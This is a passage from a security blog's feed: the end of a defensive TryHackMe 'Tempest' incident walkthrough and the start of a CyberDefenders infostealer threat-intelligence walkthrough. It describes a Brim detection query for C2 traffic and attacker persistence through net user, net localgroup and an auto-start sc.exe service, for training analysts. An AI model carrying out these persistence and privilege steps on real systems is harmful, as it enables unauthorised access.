&lt;blockquote&gt;&#xA;        &lt;p&gt;Useful Brim filter to get all HTTP requests related to the malicious C2 traffic : &lt;code&gt;_path==&amp;quot;http&amp;quot; &amp;quot;&amp;lt;replace domain&amp;gt;&amp;quot; id.resp_p==&amp;lt;replace port&amp;gt; | cut ts, host, id.resp_p, uri | sort ts&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The attacker gained SYSTEM privileges; now, the user context for each malicious execution blends with &lt;strong&gt;NT Authority\System.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;All child events of the new malicious binary used for C2 are worth checking.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;h4 id=&#34;question-1-upon-achieving-system-access-the-attacker-then-created-two-users-what-are-the-accountnames&#34;&gt;Question 1: Upon achieving SYSTEM access, the attacker then created two users. What are the account names?&#xA;&lt;/h4&gt;&lt;p&gt;Now we’re in the final phase of the investigation and the stakes are high. The adversary has achieved SYSTEM-level privileges, and we need to identify actions taken on the victim’s system.&lt;/p&gt;&#xA;&lt;p&gt;Our first task is to jump back over to &lt;strong&gt;Brim&lt;/strong&gt; and collect new evidence based on the port we identified in &lt;strong&gt;Task 8, Question 5&lt;/strong&gt;. Assuming the attacker’s C2 tactics, techniques, and procedures are consistent, we’ll repeat the same analysis process we used in &lt;strong&gt;Task 7, Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Back in Brim, update the query to filter for the new port:&lt;/p&gt;&#xA;&lt;p&gt;_path==&amp;ldquo;http&amp;rdquo; &amp;ldquo;resolvecyber.xyz&amp;rdquo; id.resp_p==8080 | cut ts, host, id.resp_p, uri | sort ts&lt;/p&gt;&#xA;&lt;p&gt;Export the results again to &lt;code&gt;.csv&lt;/code&gt;. This time, save the export as &lt;code&gt;results2.csv&lt;/code&gt;—which means we’ll need to make a small modification to the &lt;code&gt;decode.ps1&lt;/code&gt; script we created earlier to account for the new file name.&lt;/p&gt;&#xA;&lt;p&gt;Open the script in PowerShell ISE, update the file name to &lt;code&gt;results2.csv&lt;/code&gt;, and run it directly in PowerShell ISE. This will perform the same parsing and decoding operations as before, allowing us to examine the contents of the URL parameters to determine what the attackers did after elevating to SYSTEM privileges.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c11a45f4e6177f7bdbd1ff73b2a514ea_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1246px&#34; data-flex-grow=&#34;519&#34; height=&#34;154&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/c11a45f4e6177f7bdbd1ff73b2a514ea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell ISE: Modifying the decode.ps1 script&lt;/p&gt;&#xA;&lt;p&gt;Open the script in PowerShell ISE, update the file name to &lt;code&gt;results2.csv&lt;/code&gt;, and run it directly in PowerShell ISE. This will perform the same parsing and decoding operations as before, allowing us to examine the contents of the URL parameters to determine what the attackers did after elevating to SYSTEM privileges. Let’s look for any commands indicating user creation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;74052bf94ce639262c39333057502a98_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;505px&#34; data-flex-grow=&#34;210&#34; height=&#34;380&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/74052bf94ce639262c39333057502a98_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell ISE: Identifying user account additions&lt;/p&gt;&#xA;&lt;p&gt;Toward the bottom of the output, we’ll find evidence that the attacker leveraged &lt;code&gt;[net user](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user)&lt;/code&gt; commands to create two accounts. This is exactly what we need to answer &lt;strong&gt;Question 1&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4ee702acbd4b367af3cfce92d6470b3f_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/4ee702acbd4b367af3cfce92d6470b3f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-2-prior-to-the-successful-creation-of-the-accounts-the-attacker-executed-commands-that-failed-in-the-creation-attempt-what-is-the-missing-option-that-made-the-attemptfail&#34;&gt;Question 2: Prior to the successful creation of the accounts, the attacker executed commands that failed in the creation attempt. What is the missing option that made the attempt fail?&#xA;&lt;/h4&gt;&lt;p&gt;Jumping back up to the top of our script output, we’ll also find evidence that the first attempt at running these commands failed because they were missing a crucial option. Compare the version that failed with the successful ones we found in the previous question to determine the missing option.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;5c3bf120783c597f0703d4737fcf0c28_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;333px&#34; data-flex-grow=&#34;139&#34; height=&#34;575&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/5c3bf120783c597f0703d4737fcf0c28_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell ISE: Identifying failed user account additions&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a488e7ba0f84a8ff35df8a2659ca3a27_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/a488e7ba0f84a8ff35df8a2659ca3a27_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-3-based-on-windows-event-logs-the-accounts-were-successfully-created-what-is-the-event-id-that-indicates-the-account-creation-activity&#34;&gt;Question 3: Based on windows event logs, the accounts were successfully created. What is the event ID that indicates the account creation activity?&#xA;&lt;/h4&gt;&lt;p&gt;While we could pivot to the third artifact, &lt;code&gt;windows.evtx&lt;/code&gt;, and manually identify the account creation event, we have another option: leverage Microsoft’s documentation to confirm the standard event ID associated with this activity.&lt;/p&gt;&#xA;&lt;p&gt;According to Microsoft Learn, this is part of the Windows Security Auditing framework and is logged whenever an account is successfully created. I’ll put the link below for further reading.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4720&#34;  title=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4720&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;REDACTED&gt; A user account was created. - Windows 10&lt;/strong&gt;&#xA;_Describes security event &lt;REDACTED&gt; A user account was created. This event is generated a user object is created._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4720&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;8acddfd4da1d92d78f1552394bce6624_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2430px&#34; data-flex-grow=&#34;1012&#34; height=&#34;79&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/8acddfd4da1d92d78f1552394bce6624_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-4-the-attacker-added-one-of-the-accounts-in-the-local-administrators-group-what-is-the-command-used-by-the-attacker&#34;&gt;Question 4: The attacker added one of the accounts in the local administrator’s group. What is the command used by the attacker?&#xA;&lt;/h4&gt;&lt;p&gt;Back to the command analysis in &lt;strong&gt;PowerShell ISE&lt;/strong&gt;, we’re searching for an event where the attacker added one of the newly created user accounts to the local administrators group for further privilege escalation and persistence.&lt;/p&gt;&#xA;&lt;p&gt;Toward the bottom of the output, we’ll find evidence of this action using the &lt;code&gt;net localgroup&lt;/code&gt; command. This is an old classic technique attackers use to grant elevated privileges to accounts they create/control.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;20677355b9dfbf50b832845223144af3_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;605px&#34; data-flex-grow=&#34;252&#34; height=&#34;317&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/20677355b9dfbf50b832845223144af3_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell ISE: Identifying additions to the local administrators group&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;98a11d6a07c2ed6404de2652b6a1ec58_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/98a11d6a07c2ed6404de2652b6a1ec58_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-5-based-on-windows-event-logs-the-account-was-successfully-added-to-a-sensitive-group-what-is-the-event-id-that-indicates-the-addition-to-a-sensitive-localgroup&#34;&gt;Question 5: Based on windows event logs, the account was successfully added to a sensitive group. What is the event ID that indicates the addition to a sensitive local group?&#xA;&lt;/h4&gt;&lt;p&gt;Once again, rather than manually analyzing the &lt;code&gt;windows.evtx&lt;/code&gt; artifact, we’ll lean on Microsoft’s documentation to confirm the standard event ID for this activity. According to Microsoft Learn, this event is logged whenever a user is added to a local group, including sensitive groups like &lt;em&gt;Administrators&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732&#34;  title=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;REDACTED&gt; A member was added to a security-enabled local group. - Windows 10&lt;/strong&gt;&#xA;_Describes security event &lt;REDACTED&gt; A member was added to a security-enabled local group._learn.microsoft.com&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;613933ea4c1fb91731bb4bf305f46f70_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2560px&#34; data-flex-grow=&#34;1066&#34; height=&#34;75&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/613933ea4c1fb91731bb4bf305f46f70_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h4 id=&#34;question-6-after-the-account-creation-the-attacker-executed-a-technique-to-establish-persistent-administrative-access-what-is-the-command-executed-by-the-attacker-to-achievethis&#34;&gt;Question 6: After the account creation, the attacker executed a technique to establish persistent administrative access. What is the command executed by the attacker to achieve this?&#xA;&lt;/h4&gt;&lt;p&gt;At long last, we’ve made it to the end of the Tempest incident investigation. Our final task is to identify the persistence technique deployed by the attacker.&lt;/p&gt;&#xA;&lt;p&gt;In the command output, we’ll find evidence that the attacker created a service using &lt;code&gt;sc.exe&lt;/code&gt; and set it to auto-start. This service executes the &lt;code&gt;final.exe&lt;/code&gt; binary we identified back in &lt;strong&gt;Task 8, Question 5&lt;/strong&gt;. Another “oldie but goodie” technique that ensures the attacker’s code runs automatically whenever the system starts.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;28bd1f5bda932ac08d05e86e7f84a0a5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;780px&#34; data-flex-grow=&#34;325&#34; height=&#34;246&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/28bd1f5bda932ac08d05e86e7f84a0a5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;PowerShell ISE: Identifying suspicious service creation&lt;/p&gt;&#xA;&lt;p&gt;But that’s only half the answer — we need the full command line. No problem! Let’s have one last hoorah with &lt;strong&gt;SysmonView&lt;/strong&gt;. Using either the hierarchical view or the process view, locate &lt;code&gt;sc.exe&lt;/code&gt;, double-click it, and check out the full command line.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9ebf7aee93b94e0a41992e7d54db1466_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;236px&#34; data-flex-grow=&#34;98&#34; height=&#34;813&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/9ebf7aee93b94e0a41992e7d54db1466_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;SysmonView: Identifying the full commandline of the suspicious service creation&lt;/p&gt;&#xA;&lt;p&gt;Bingo! Now we have the complete command from the Sysmon event log and have fully identified this persistence technique. Take a deep breath — we’ve closed out this investigation. Great job!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9a08be5c95c11ff5ebb3b95729efecb1_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1794px&#34; data-flex-grow=&#34;747&#34; height=&#34;107&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/9a08be5c95c11ff5ebb3b95729efecb1_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img alt=&#34;aac0c25f8f3e9de41689a91ebede3b1d_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;445px&#34; data-flex-grow=&#34;185&#34; height=&#34;431&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/aac0c25f8f3e9de41689a91ebede3b1d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Whew! That was a long one — but we made it to the end. A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for putting together such a thorough and challenging capstone.&lt;/p&gt;&#xA;&lt;p&gt;This challenge was a fantastic way to wrap up the SOC Level 1 learning path. It tied together so many concepts covered in the content and offered a realistic example of an incident response engagement. Along the way, we not only followed the attacker’s trail but also learned how to better utilize our tools in the field.&lt;/p&gt;&#xA;&lt;p&gt;I chose this week’s challenge to start closing out the SOC Level 1 path and get some hands-on practice with &lt;strong&gt;SysmonView&lt;/strong&gt;, which I hadn’t used before. It didn’t disappoint! It made analyzing those ever-valuable Sysmon event logs so much faster than manual review alone. And because this challenge was so lengthy, it was incredibly rewarding — each question flowed logically into the next, making the investigation feel linear and cohesive. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to &lt;strong&gt;give it a clap&lt;/strong&gt; and &lt;strong&gt;consider following me&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!&lt;/p&gt;&#xA;&lt;p&gt;If you liked my style and plan to continue the SOC Level 1 learning path, stick around and check out my walkthrough of the next capstone challenge:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://stumblesec.com/posts/tryhackme-boogeyman-1-challenge-walkthrough/&#34; &gt;&lt;strong&gt;TryHackMe - Boogeyman 1 Challenge Walkthrough&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Until next time — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-tempest-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/room/tempestincident&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://tryhackme.com/room/tempestincident&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Eric Zimmerman’s Tools:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://ericzimmerman.github.io/#!index.md&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://ericzimmerman.github.io/#!index.md&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;CyberChef:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://gchq.github.io/CyberChef/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://gchq.github.io/CyberChef/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MSRC — CVE-2022–30190:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-30190&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Speedguide.net — Ports Database:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.speedguide.net/ports.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.speedguide.net/ports.php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — ch.exe:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/8a99353662ccae117d2bb22efd8c43d7169060450be413af763e8ad7522d2451&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal — spf.exe:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/8524fbc0d73e711e69d60c64f1f1b7bef35c986705880643dd4d5e17779e586d/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/8524fbc0d73e711e69d60c64f1f1b7bef35c986705880643dd4d5e17779e586d/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;itm4n’s blog: PrintSpoofer — Abusing Impersonation Privileges on Windows 10 and Server 2019:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — net user:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/net-user&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — 4720(S): A user account was created:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4720&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4720&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — 4732(S): A member was added to a security-enabled local group:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4732&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>CyberDefenders — Tusk Infostealer Blue Team Lab Walkthrough</title>
            <link>https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/</link>
            <pubDate>Mon, 08 Dec 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/26d716decb8b1ba67719215ffc008d8d_MD5.png&#34; alt=&#34;Featured image of post CyberDefenders — Tusk Infostealer Blue Team Lab Walkthrough&#34; /&gt;&lt;h3 id=&#34;cyberdefenders--tusk-infostealer-blue-team-lab-walkthrough&#34;&gt;CyberDefenders — Tusk Infostealer Blue Team Lab Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-threat-intelligence-challenge-using-virustotal-and-securelist&#34;&gt;A Threat Intelligence Challenge Using VirusTotal and Securelist.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;402px&#34; data-flex-grow=&#34;167&#34; height=&#34;358&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/26d716decb8b1ba67719215ffc008d8d_MD5.png&#34; width=&#34;601&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a detailed guide to the &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/tusk-infostealer/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Tusk Infostealer Lab&lt;/strong&gt;&lt;/a&gt; blue team challenge from &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;A blockchain development company detected unusual activity when an employee was redirected to an unfamiliar website while accessing a DAO management platform. Soon after, multiple cryptocurrency wallets linked to the organization were drained. Investigators suspect a malicious tool was used to steal credentials and exfiltrate funds.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your task is to analyze the provided intelligence to uncover the attack methods, identify indicators of compromise, and track the threat actor&amp;rsquo;s infrastructure.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This challenge is extremely beginner-friendly and a great exercise in pivoting from a simple file hash to finding relevant reporting and leaning on the broader security community to add context to an investigation. It&amp;rsquo;s really cool to go from a single hash to fully understanding an entire malware campaign tied to that sample.&lt;/p&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll walk through each step clearly, and by the end, you&amp;rsquo;ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team side of incident response — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-inkb-what-is-the-size-of-the-malicious-file&#34;&gt;Question 1: In &lt;strong&gt;KB&lt;/strong&gt;, what is the size of the malicious file?&#xA;&lt;/h3&gt;&lt;p&gt;First things first! Extract the challenge file using the password provided in the challenge. This leaves a simple &lt;code&gt;.txt&lt;/code&gt; file named &lt;code&gt;hash.txt&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;876px&#34; data-flex-grow=&#34;365&#34; height=&#34;219&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-tusk-infostealer-blue-team-lab-walkthrough/40740e81dce812003f1088684f05d7fc_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Contents of the Challenge File&lt;/p&gt;&#xA;&lt;p&gt;Inside this file is the MD5 hash of a malware sample suspected of being linked to a recent cryptocurrency funds exfiltration:&lt;/p&gt;&#xA;&lt;p&gt;E5B8B2CF5B244500B22B665C87C11767&lt;/p&gt;&#xA;&lt;p&gt;With this file hash in our possession, we can pivot to checking it against threat intelligence and sample-sharing communities to search for known activity related to this exact file.&lt;/p&gt;&#xA;&lt;p&gt;Our first stop is &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;. Once on the site, submit the file hash to check if this sample has been uploaded before. If it has, we can leverage existing intelligence to learn more about the malware.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; 